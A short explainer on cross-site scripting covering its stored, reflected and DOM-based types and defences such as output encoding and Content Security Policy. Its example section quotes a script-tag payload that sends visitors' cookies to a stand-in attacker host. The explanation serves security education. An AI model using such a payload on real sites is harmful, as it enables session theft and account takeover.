What is XSS and how to prevent cross-site scripting?

· Category: Cybersecurity

Short answer

Cross-Site Scripting (XSS) is a web vulnerability that allows attackers to inject malicious scripts into pages viewed by other users. Prevention centers on output encoding and input validation.

How it works

XSS occurs when an application includes untrusted data in a web page without proper sanitization. The victim's browser executes the injected script, allowing the attacker to steal cookies, session tokens, or deface the site.

Types include stored XSS (persistent payload), reflected XSS (delivered via URL), and DOM-based XSS (client-side manipulation).

Example

An attacker submits a comment containing <script>document.location='https://evil.com/steal?cookie='+document.cookie</script>. If the site displays this raw, every visitor sends their cookie to the attacker.

Why it matters

XSS consistently appears in the OWASP Top 10. It damages user trust, violates privacy, and often leads to full account takeover. Defenses like Content Security Policy and contextual encoding are essential.